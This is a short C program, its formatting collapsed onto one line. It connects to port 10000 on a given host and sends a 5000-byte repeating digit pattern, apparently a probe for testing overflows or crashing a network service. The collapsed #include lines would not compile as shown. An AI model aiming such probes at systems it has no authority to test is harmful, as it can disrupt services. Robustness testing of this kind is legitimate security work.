#include <stdio.h>#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h>#include <netdb.h>int main(int argc, char *argv[]){int sockfd ,newsockfd, help, sent;struct sockaddr_in peer;struct hostent *serverhost;char buff[5000]; if(argc<2) { fprintf(stderr, "Usage: coc <hostname>\n"); exit(1); } if ((sockfd = socket(AF_INET,SOCK_STREAM,0)) < 0 ) { perror("socket"); exit(1);} if((serverhost = gethostbyname(argv[1])) == 0)  { perror("gethostbyname"); exit(1); } peer.sin_family = AF_INET; peer.sin_port = htons(10000);  peer.sin_addr = *(struct in_addr*)serverhost->h_addr_list[0]; if (connect(sockfd, &peer, sizeof(peer)) < 0 )  { perror("connect"); exit(1); } for(help=0; help<sizeof(buff); help++) buff[help] = '0'+help%10; write(sockfd, buff, 5000); close(sockfd);}